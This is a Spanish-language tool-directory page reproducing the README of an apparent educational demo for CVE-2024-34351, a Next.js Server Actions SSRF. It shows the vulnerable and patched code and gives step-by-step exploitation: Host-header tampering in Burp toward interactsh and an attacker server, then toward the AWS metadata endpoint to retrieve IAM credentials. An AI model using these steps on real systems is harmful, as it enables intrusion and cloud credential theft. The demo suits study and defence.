Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/jinlei-chen-uwo/cve-2024-34351-demo
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la NubeAprendizaje y Educación
GitHubjinlei-chen-uwo/cve-2024-34351-demo

cve-2024-34351-demo

Aplicación demo mínima de Next.js 14.0.0 para la vulnerabilidad SSRF CVE-2024-34351. Incluye configuración del exploit, confirmación con interactsh, intercepción con Burp y pasos de escalada de metadatos de AWS.

Ver Repositorio
1hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Demostración de CVE-2024-34351

Aplicación mínima de Next.js 14.0.0 para demostrar CVE-2024-34351 -- una vulnerabilidad de Server-Side Request Forgery (SSRF) en las Server Actions de Next.js.

Descubierta por Adam Kues y Shubham Shah en Assetnote. Corregida en Next.js 14.1.1.


Cómo funciona la vulnerabilidad

Cuando una Server Action llama a redirect('/some-path'), Next.js construye una URL de fetch interna utilizando el encabezado Host de la solicitud entrante sin validación:

root@kitploit:~
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host']           // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... })  // server makes this request

Un atacante que controle el encabezado Host puede apuntar este fetch interno a cualquier destino al que el servidor pueda acceder.


Requisitos

  • Node.js 18+
  • npm
  • Burp Suite Community Edition (gratuita) para la interceptación

Configuración

root@kitploit:~
npm install
npm run build   # must use production build -- dev mode routes redirects differently
npm run start   # app runs at http://localhost:3000

Explotación

Paso 1 -- Confirmar la solicitud saliente con interactsh

interactsh es útil para confirmar que el servidor Next.js realiza una solicitud saliente hacia un host controlado por el atacante.

root@kitploit:~
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client

En Burp Suite:

  1. Navega a http://localhost:3000 y envía el formulario de inicio de sesión con la interceptación activada
  2. En la solicitud POST interceptada, cambia Host: localhost:3000 por Host: abc123.oast.fun
  3. Reenvía la solicitud
  4. Revisa interactsh -- verás una solicitud HEAD registrada desde el servidor Next.js

Esto demuestra el SSRF saliente. La solicitud se origina en el proceso del servidor, no en el navegador.

Paso 2 -- Lectura completa con el servidor atacante

interactsh no puede controlar su respuesta, por lo que Next.js no completará el GET. Para obtener el cuerpo completo de la respuesta, usa el servidor atacante incluido:

root@kitploit:~
python3 attacker/attacker_server.py 8888

Establece el encabezado Host a <your-lan-ip>:8888 y reenvía. El servidor atacante responde al HEAD con Content-Type: text/x-component, lo que desencadena el GET. El cuerpo completo de la respuesta se devuelve dentro de la respuesta de Next.js visible en Burp.

Paso 3 -- Escalada a metadatos de AWS (en EC2)

Cuando la aplicación vulnerable se ejecuta en una instancia de AWS EC2, establece el encabezado Host a:

root@kitploit:~
Host: 169.254.169.254

Next.js hará fetch del servicio de metadatos de la instancia. Para recuperar las credenciales IAM:

root@kitploit:~
Host: 169.254.169.254

Luego ajusta la ruta de redirect o usa una solicitud de seguimiento para apuntar a:

root@kitploit:~
http://169.254.169.254/latest/meta-data/iam/security-credentials/

La respuesta completa de metadatos se devuelve al navegador del atacante.


El parche (Next.js 14.1.1)

root@kitploit:~
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
          ?? process.env.__NEXT_PRIVATE_ORIGIN
          ?? req.headers['host']

La corrección prefiere process.env.__NEXT_PRIVATE_ORIGIN -- establecido al iniciar el servidor, no controlable por el atacante.


Referencias

  • Publicación de investigación de Assetnote
  • Aviso de Assetnote
  • Aviso de GitHub GHSA-fr5h-rqp8-mj6g
  • NVD CVE-2024-34351
  • PR del parche #62561
Descargar herramienta